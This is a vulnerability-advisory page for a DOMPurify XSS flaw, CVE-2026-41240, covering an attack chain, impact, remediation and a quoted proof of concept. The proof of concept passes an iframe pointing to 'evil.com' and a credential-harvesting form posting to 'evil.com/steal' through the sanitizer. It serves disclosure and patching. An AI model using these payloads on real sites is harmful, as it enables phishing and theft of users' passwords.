DOMPurify CVE-2026-41240
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSupply malicious HTML with forbidden tag
-
DeliveryFunction-based ADD_TAGS predicate evaluated
-
ExploitFORBID_TAGS check short-circuited
-
InstallDangerous element (iframe/form) passes sanitization
-
C2Attributes (src/action) preserved by attribute filter
-
ExecuteElement rendered in victim browser
-
ImpactUser phished or exploited via injected content
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the application explicitly configure DOMPurify with both (1) a function-based ADD_TAGS predicate (not a static array), AND (2) a FORBID_TAGS configuration that lists dangerous tags such as iframe, form, object, or embed. This specific combination is uncommon because most sanitization configurations rely on either an explicit allowlist (ADD_TAGS as array) or a denylist (FORBID_TAGS) but not a function-based addition pattern. The vulnerability does not affect applications that use FORBID_TAGS alone without ADD_TAGS, or applications that use static array ADD_TAGS. No special user interaction or authentication is required; the attacker simply needs to supply malicious HTML input to the sanitizer (e.g., via form submission, API endpoint, or templating context). The vulnerability is automatically triggered once the above configuration is active in the application. |
| Impact | While CVSS vector and EPSS score are not provided, the vulnerability presents moderate to high risk for deployments relying on DOMPurify for XSS protection with function-based ADD_TAGS configuration. The attack vector is network-based (malicious HTML input supplied to the sanitizer), requires no authentication, and succeeds against default configurations that use the vulnerable pattern. However, exploitation is conditional on a specific configuration choice (function-based ADD_TAGS combined with FORBID_TAGS) that may be uncommon in production code. The CWE-79 classification and the presence of working proof-of-concept confirm the XSS impact. The inconsistency with FORBID_ATTR (which was previously fixed) suggests this was an oversight in a targeted security fix. Risk is elevated for applications that explicitly use function predicates for tag allowlisting while also maintaining FORBID_TAGS lists, or for security-conscious developers who added the function-based ADD_TAGS pattern after the FORBID_ATTR fix was announced. No active exploitation in the wild is known at the time of analysis (CVE appears to be newly published), but the PoC is publicly available and trivial to execute. |
| Exploit ScenarioDerived | An attacker submits user-generated content (e.g., a forum post or comment) containing an iframe or form element to a web application that sanitizes HTML via DOMPurify with function-based ADD_TAGS enabled and FORBID_TAGS set to block dangerous elements. The vulnerable sanitizer allows the iframe or form to pass through with its attributes (src, action) intact. The attacker's iframe points to an external phishing site, or the form redirects stolen credentials to an attacker-controlled server, compromising end users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
Cross-site scripting (XSS) in DOMPurify occurs when function-based ADD_TAGS configuration is used with FORBID_TAGS, allowing attackers to bypass tag filtering and inject dangerous elements such as iframe, form, object, and embed with their attributes intact. The vulnerability stems from inconsistent handling of FORBID_TAGS compared to the separately-fixed FORBID_ATTR logic, where the forbidden tag check is short-circuited by a function-based ADD_TAGS predicate. Publicly available proof-of-concept demonstrates iframe and form injection with external URLs surviving sanitization; patch is available in version 3.4.0.
RemediationAI
Upgrade DOMPurify to version 3.4.0 or later, which implements the FORBID_TAGS early-exit fix analogous to the FORBID_ATTR protection (commit c361baa). The patch adds an explicit check for FORBID_TAGS before evaluating function-based ADD_TAGS predicates, ensuring FORBID_TAGS always takes precedence. If immediate upgrade is not feasible, applications using function-based ADD_TAGS predicates should audit their configuration and temporarily switch to static array-based ADD_TAGS specifications or remove the function predicate pattern entirely until patching is completed. As a temporary compensating control, developers can manually implement FORBID_TAGS checks within their ADD_TAGS function predicate logic by returning false if the tag is in the forbidden list; however, this is error-prone and does not address the underlying library bug. Security reviews should verify that no production code relies on the vulnerable ADD_TAGS + FORBID_TAGS combination. Refer to GitHub advisory GHSA-h7mw-gpvr-xq4m and release notes at https://github.com/cure53/DOMPurify/releases/tag/3.4.0 for patch details.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
DOMPurify is an XSS sanitizer library for HTML, DOM, and templating engines written in JavaScript and available via npm. The vulnerability resides in the tag allowlist/blocklist logic within the sanitization pipeline. At line 1118-1123 of the affected code, when EXTRA_ELEMENT_HANDLING.tagCheck is a function that returns true, JavaScript's short-circuit evaluation of the logical AND operator prevents the subsequent FORBID_TAGS check from executing. This contrasts with the FORBID_ATTR handling (line 1214), which explicitly checks FORBID_ATTR before evaluating function-based ADD_ATTR predicates. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting'), manifesting as a logic flaw in the configuration precedence system. The vulnerability affects all versions prior to the patch and requires the uncommon but supported scenario of configuring ADD_TAGS as a function rather than a static array.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/cure53/DOMPurify).
CVSS VectorVendor: https://github.com/cure53/DOMPurify
Lifecycle Timeline
3DescriptionCVE.org
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; }
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)
DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic }
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
GHSA-h7mw-gpvr-xq4m
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB